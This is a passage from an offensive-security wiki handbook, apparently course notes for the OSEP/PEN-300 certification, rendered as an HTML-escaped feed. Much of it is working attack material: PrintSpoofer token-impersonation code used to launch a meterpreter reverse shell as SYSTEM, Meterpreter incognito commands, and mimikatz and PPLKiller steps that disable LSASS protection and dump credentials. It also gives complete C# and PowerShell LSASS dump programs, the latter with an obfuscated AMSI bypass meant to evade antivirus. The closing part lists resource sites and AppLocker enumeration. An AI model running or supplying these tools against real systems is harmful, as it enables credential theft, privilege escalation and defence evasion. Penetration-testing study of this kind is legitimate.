            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2358</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2358"/>
		<updated>2026-03-16T11:31:17Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
